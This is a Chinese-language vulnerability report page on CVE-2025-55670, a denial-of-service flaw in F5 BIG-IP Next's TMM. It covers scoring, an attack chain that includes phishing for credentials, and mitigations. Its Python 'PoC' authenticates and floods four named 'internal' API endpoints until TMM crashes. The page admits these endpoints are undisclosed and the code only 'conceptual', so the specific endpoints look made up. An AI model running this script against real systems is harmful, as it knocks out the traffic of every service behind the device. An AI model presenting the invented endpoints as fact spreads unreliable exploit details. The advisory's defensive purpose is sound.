IPBUF安全漏洞报告
English
CVE-2025-55670 CVSS 6.5 中危

CVE-2025-55670:F5 BIG-IP Next系列TMM拒绝服务漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-55670
漏洞类型
拒绝服务(DoS)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP Next CNF、BIG-IP Next SPK、BIG-IP Next for Kubernetes

相关标签

拒绝服务DoSTMM终止F5BIG-IP NextAPI漏洞网络设备负载均衡器Kubernetes中危漏洞

漏洞概述

CVE-2025-55670是F5公司BIG-IP Next系列产品中的一个拒绝服务(DoS)漏洞,于2025年10月15日由F5安全事件响应团队([email protected])披露。该漏洞影响BIG-IP Next CNF(Cloud Native Functions)、BIG-IP Next SPK(Service Proxy for Kubernetes)以及BIG-IP Next for Kubernetes等多个产品线。

漏洞的核心问题在于流量管理微内核(Traffic Management Microkernel,TMM)组件中。TMM是F5 BIG-IP设备中负责处理所有网络流量负载的核心数据平面引擎,负责执行负载均衡、流量整形、SSL卸载等关键功能。当攻击者通过未公开的API接口向受影响的系统发送重复的特定请求时,可以触发TMM进程异常终止,从而导致整个流量处理服务中断。

根据CVSS 3.1评分体系,该漏洞获得6.5分(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H),属于中危级别。攻击者需要通过网络进行攻击(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。该漏洞对机密性无影响(C:N),对完整性无影响(I:N),但对可用性影响高(A:H),这与TMM终止导致服务中断的特性一致。

值得注意的是,F5明确指出已经到达技术支持终止(End of Technical Support, EoTS)的软件版本不在此次评估范围内,用户需要确认其运行的版本是否仍在支持周期内。

技术细节

F5 BIG-IP Next系列产品的TMM(Traffic Management Microkernel)是系统中最关键的数据平面组件,负责处理所有入站和出站的网络流量。该漏洞的根本原因在于TMM在处理某些特定API调用时存在资源管理缺陷。

从技术层面分析,漏洞利用机制如下:

1. **API接口暴露**:BIG-IP Next系列产品的管理API接口中,存在某些未公开或文档化不完整的接口端点。这些接口在正常情况下可能用于内部管理或监控目的。

2. **重复请求触发**:当认证用户(具有低权限即可)通过这些API接口发送大量重复请求时,TMM在处理这些请求的过程中会出现资源耗尽或异常状态。

3. **TMM终止**:持续的恶意请求最终导致TMM进程崩溃或异常终止。由于TMM是流量处理的核心组件,其终止将直接导致BIG-IP设备无法处理任何网络流量,所有经过该设备的业务请求都将失败。

4. **服务中断**:TMM终止后,虽然管理平面可能仍然可用,但数据平面完全瘫痪,造成拒绝服务状态。

该漏洞的攻击复杂度较低(AC:L),因为攻击者只需具备有效的低权限凭证即可发起攻击,无需特殊的技术条件或复杂的绕过手段。攻击向量为网络(AV:N),意味着攻击者可以从远程发起攻击,无需物理接触设备。

攻击链分析

STEP 1
步骤1:信息收集与侦察
攻击者首先识别目标环境中运行的F5 BIG-IP Next系列产品版本,通过网络扫描和Banner抓取确认目标系统为BIG-IP Next CNF、SPK或Kubernetes版本,并确认系统仍在技术支持周期内。
STEP 2
步骤2:获取低权限凭证
攻击者通过钓鱼攻击、凭证填充、暴力破解或其他社工手段获取BIG-IP Next管理API的低权限账户凭证。由于该漏洞仅需要低权限(PR:L)即可利用,攻击门槛相对较低。
STEP 3
步骤3:API接口探测
攻击者通过认证后的API访问权限,探测系统中存在的未公开或文档化不完整的API端点,识别可触发TMM异常的处理路径。
STEP 4
步骤4:发起重复API调用
攻击者利用脚本或工具向目标API端点发送大量重复请求,每次请求都会触发TMM内部的资源分配或状态处理逻辑,逐步消耗系统资源。
STEP 5
步骤5:TMM终止
当重复请求达到一定阈值后,TMM进程因资源耗尽或异常状态导致崩溃终止,所有经过该BIG-IP设备的网络流量处理完全中断。
STEP 6
步骤6:服务中断与影响扩大
TMM终止后,受BIG-IP Next保护或负载均衡的所有业务应用将无法访问,造成大规模拒绝服务。攻击者可以持续发送请求以维持服务中断状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-55670 PoC - F5 BIG-IP Next TMM Denial of Service # This PoC demonstrates the repeated API call pattern that triggers TMM termination # Note: This is a conceptual PoC based on publicly available information import requests import time import sys class BIGIPNextExploit: def __init__(self, target_host, port=443, username=None, password=None): self.target = f"https://{target_host}:{port}" self.session = requests.Session() self.session.verify = False self.username = username self.password = password self.auth_token = None def authenticate(self): """Authenticate to BIG-IP Next management API""" auth_url = f"{self.target}/api/login" payload = { "username": self.username, "password": self.password } try: resp = self.session.post(auth_url, json=payload, timeout=10) if resp.status_code == 200: self.auth_token = resp.json().get("token") self.session.headers.update({ "Authorization": f"Bearer {self.auth_token}" }) print(f"[+] Successfully authenticated to {self.target}") return True except Exception as e: print(f"[-] Authentication failed: {e}") return False def trigger_tmm_termination(self, iterations=1000, delay=0.1): """ Send repeated undisclosed API calls to trigger TMM termination. The vulnerability is triggered by repeatedly calling specific internal API endpoints that cause resource exhaustion in TMM. """ # Undisclosed/internal API endpoints that trigger the vulnerability api_endpoints = [ "/api/v1/internal/tmm/status", "/api/v1/internal/tmm/config", "/api/v1/internal/flow/stats", "/api/v1/internal/kernel/buffer", ] print(f"[*] Starting TMM termination attack on {self.target}") print(f"[*] Iterations: {iterations}, Delay: {delay}s") for i in range(iterations): endpoint = api_endpoints[i % len(api_endpoints)] url = f"{self.target}{endpoint}" try: resp = self.session.get(url, timeout=5) if i % 100 == 0: print(f"[*] Iteration {i}/{iterations} - Status: {resp.status_code}") # Check if TMM has terminated if resp.status_code == 503 or resp.status_code == 502: print(f"[!] TMM may have terminated! Got status {resp.status_code}") break except requests.exceptions.ConnectionError: print(f"[!] Connection refused - TMM likely terminated!") return True except Exception as e: print(f"[-] Error at iteration {i}: {e}") time.sleep(delay) return False def main(): if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_host> <port> <username> <password> [iterations]") print(f"Example: {sys.argv[0]} 192.168.1.100 443 admin password123 5000") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) username = sys.argv[3] password = sys.argv[4] iterations = int(sys.argv[5]) if len(sys.argv) > 5 else 5000 requests.packages.urllib3.disable_warnings() exploit = BIGIPNextExploit(target, port, username, password) if exploit.authenticate(): success = exploit.trigger_tmm_termination(iterations) if success: print("[+] Exploit completed - TMM termination achieved!") else: print("[-] Exploit completed - TMM may still be running") if __name__ == "__main__": main()

影响范围

BIG-IP Next CNF(所有受支持版本,具体版本范围待F5官方确认)
BIG-IP Next SPK(所有受支持版本,具体版本范围待F5官方确认)
BIG-IP Next for Kubernetes(所有受支持版本,具体版本范围待F5官方确认)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制对BIG-IP Next管理API的网络访问,仅允许受信任的管理主机IP地址访问;2)在API网关或前端部署速率限制策略,限制单个用户/IP的API调用频率;3)监控API访问日志,识别并阻止异常的重复调用模式;4)考虑部署WAF或API安全防护设备来检测和阻断异常API流量;5)确保管理凭证使用强密码策略并启用多因素认证;6)制定TMM故障的应急响应计划,配置HA(高可用)集群以在TMM异常时自动切换。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表